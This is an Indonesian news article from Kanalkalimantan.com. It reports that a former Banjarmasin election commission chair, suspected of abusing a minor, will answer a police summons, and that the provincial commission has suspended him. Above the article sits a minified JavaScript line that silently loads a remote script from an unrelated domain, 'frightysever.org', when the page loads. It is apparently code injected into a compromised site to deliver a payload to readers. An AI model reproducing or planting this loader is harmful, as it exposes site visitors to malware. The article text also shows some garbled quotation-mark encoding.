(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Eks Ketua Komisi Pemilihan Umum (KPU) Kota Banjarmasin, Gusti Makmur, akhirnya dipastikan penuhi surat panggilan kedua yang dilayangkan Polres Banjarbaru. Tersangka dugaan kasus pencabulan terhadap anak di bawah umur tersebut akan menjalani pemeriksaan oleh tim penyidik Polres Banjarbaru, Kamis (29/1/2020) besok.
“Pemanggilan dijadwalkan Kamis pagi besok. Untuk keterangan lebih lanjut, kita berikan usai pemeriksaan,” beber Kasubbag Humas AKP Siti Rohayati, kepada Kanalkalimantan.com, Rabu (29/1/2020).
Kabar penetapan status tersangka terhadap Gusti Makmur, yang baru-baru ini dilepas dari jabatannya sebagai KPU kota Banjarmasin, sempat hebohkan publik. Bagaimana tidak, Gusti Makmur dilaporkan telah melakukan aksi asusila terhadap lelaki di bawah umur, pada tanggal 25 Desember lalu.
Tentunya, kasus ini memberikan dampak di tubuh internal KPU Kota Banjarmasin. Apalagi, lembaga ini tengah bersiap menghadapi sejumlah tahapan-tahapan gelaran Pilkada 2020 yang akan berlangsung beberapa bulan lagi. Meski begitu nampaknya, KPU sendiri legowo untuk melengserkan Gusti Makmur.
Demikian yang disampaikan, Ketua KPU Provinsi Kalsel Sarmuji yang ditemui usai sosialisasi tahapan Pilkada di Banjarmasin, Rabu (29/1/2020) siang. “Yang bersangkutan kita nonaktifkan, diberhentikan sementara. Jadi menunggu proses (hukum berjalan),†kata Sarmuji.
Jika proses hukumnya inkrah dan dinyatakan bersalah, menurut Sarmuji, Gusti Makmur bisa saja diberhentikan dari jabatannya. “Tapi kalau tidak bersalah, akan direhabilitasi,†tambahnya.
Ada dua pelanggaran yang telah dilakukan Gusti Makmur, hingga KPU Kalsel memutuslan untuk menonaaktfikan jambatannya sementara waktu.
Pertama, Gusti Makmur diduga telah melanggar PKPU Nomor 8 Tahun 2019 pasal 90 ayat 1 huruf c. yakni tidak bisa menjaga sikap sebagai anggota KPU dan marwah lembaga KPU.
Kedua, dari hasil klarifikasi yang dilakukan KPU Kalsel sebelumnya, yang bersangkutan juga diduga telah melanggar Pasal 15 huruf a Peraturan DKPP Tentang Kode Etik dan Pedoman Perilaku Penyelenggara Pemilu.
Dua dugaan pelanggaran aturan inilah yang menjadi landasan hukum atas usulan pemberhentian sementara yang akan KPU Kalsel usulkan. “Secepatnya kami sampaikan suratnya ke KPU RI. Kalau selesai, besok sudah kami kirim,†terang Sarmuji. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.